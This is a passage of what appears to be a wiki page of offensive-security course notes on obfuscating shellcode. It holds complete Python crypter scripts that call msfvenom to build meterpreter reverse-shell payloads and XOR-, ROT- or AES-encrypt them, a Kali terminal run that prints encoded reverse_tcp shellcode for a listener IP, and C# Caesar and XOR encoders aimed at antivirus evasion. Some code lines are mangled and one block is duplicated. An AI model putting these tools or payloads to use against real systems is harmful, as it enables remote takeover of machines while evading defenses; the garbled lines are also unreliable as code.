    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{encodedPayload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload written to {bcolors.OKGREEN}/tmp/payload.txt{bcolors.OKBLUE} in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+]{bcolors.OKBLUE} Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== shellcodeCrypter-msfvenom.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcodecrypter.py 192.168.45.156 443 cpp xor 0xfa linux/x64/meterpreter/reverse_tcp&lt;br /&gt;
[i] Generating payload linux/x64/meterpreter/reverse_tcp for LHOST=192.168.45.156 and LPORT=443&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
No encoder specified, outputting raw payload&lt;br /&gt;
Payload size: 130 bytes&lt;br /&gt;
Final size of csharp file: 691 bytes&lt;br /&gt;
[i] Encoding payload with type xor and key 250&lt;br /&gt;
[+] Encoded payload (C++):&lt;br /&gt;
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.45.156 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
// xor-encoded with key 0xfa&lt;br /&gt;
unsigned char buffer[] =&lt;br /&gt;
    &amp;quot;\xcb\x05\x90\xf3\xa2\x63\x4c\xea\xb2\x73\x2c\xb7\xcb\x33\x90\xd8&amp;quot;&lt;br /&gt;
    &amp;quot;\xbb\xa0\x90\xfd\xa0\xf5\xff\xb2\x7f\x3a\x82\xab\x90\xf0\xbb\xa3&amp;quot;&lt;br /&gt;
    &amp;quot;\xaa\x90\xd3\xa2\x63\x90\xf8\xa5\x90\xfb\xa4\xf5\xff\xb2\x7f\x3a&amp;quot;&lt;br /&gt;
    &amp;quot;\x82\xc1\xb2\x6d\xb2\x43\xf8\xfa\xfb\x41\x3a\x52\xd7\x66\xab\xb2&amp;quot;&lt;br /&gt;
    &amp;quot;\x73\x1c\x90\xea\xa0\x90\xd0\xa2\xf5\xff\xa3\xb2\x7f\x3a\x83\xdf&amp;quot;&lt;br /&gt;
    &amp;quot;\xb3\x05\x33\x8e\xe2\xad\x90\xd9\xa2\x90\xfa\x90\xff\xb2\x73\x1d&amp;quot;&lt;br /&gt;
    &amp;quot;\xb2\xcb\x0c\xf5\xff\xa3\xa3\xa5\xb2\x7f\x3a\x83\x3d\x90\xc6\xa2&amp;quot;&lt;br /&gt;
    &amp;quot;\x90\xfb\xa5\xf5\xff\xa4\x90\x84\xa0\xf5\xff\xb2\x7f\x3a\x82\x17&amp;quot;&lt;br /&gt;
\x05\x1c;&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ 0xfa);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;lhost&amp;quot;, help=&amp;quot;listener IP to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;lport&amp;quot;, help=&amp;quot;listener port to use&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
parser.add_argument(&amp;quot;payload&amp;quot;, help=&amp;quot;the payload type from msfvenom to generate shellcode for (default: windows/x64/meterpreter/reverse_tcp)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;windows/x64/meterpreter/reverse_tcp&amp;quot;)&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the preferred payload&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload {bcolors.OKGREEN}{args.payload}{bcolors.OKBLUE} for LHOST={bcolors.OKGREEN}{args.lhost}{bcolors.OKBLUE} and LPORT={bcolors.OKGREEN}{args.lport}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
result = subprocess.run([&#039;msfvenom&#039;, &#039;-p&#039;, args.payload, f&amp;quot;LHOST={args.lhost}&amp;quot;, f&amp;quot;LPORT={args.lport}&amp;quot;, &#039;exitfunc=thread&#039;, &amp;quot;-f&amp;quot;, &amp;quot;csharp&amp;quot;], stdout=subprocess.PIPE)&lt;br /&gt;
if result.returncode != 0:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Msfvenom generation unsuccessful. Are you sure msfvenom is installed?{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
# Get the payload bytes and split them&lt;br /&gt;
payload = re.search(r&amp;quot;{([^}]+)}&amp;quot;, result.stdout.decode(&amp;quot;utf-8&amp;quot;)).group(1).replace(&#039;\n&#039;, &#039;&#039;).split(&amp;quot;,&amp;quot;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{args.key}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    for i, byte in enumerate(payload):&lt;br /&gt;
        byteInt = int(byte, 16)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        payload[i] = &amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4)&lt;br /&gt;
    payLen = len(payload)&lt;br /&gt;
    payload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(payload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted = f&amp;quot;// msfvenom -p {args.payload} LHOST={args.lhost} LPORT={args.lport} EXITFUNC=thread -f csharp\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;// {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
    payloadFormatted += f&amp;quot;byte[] buf = new byte[{str(payLen)}] {{\n{payload.strip()}\n}};&amp;quot;&lt;br /&gt;
    if payLen &amp;gt; 1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in CSharp format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (CSharp):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
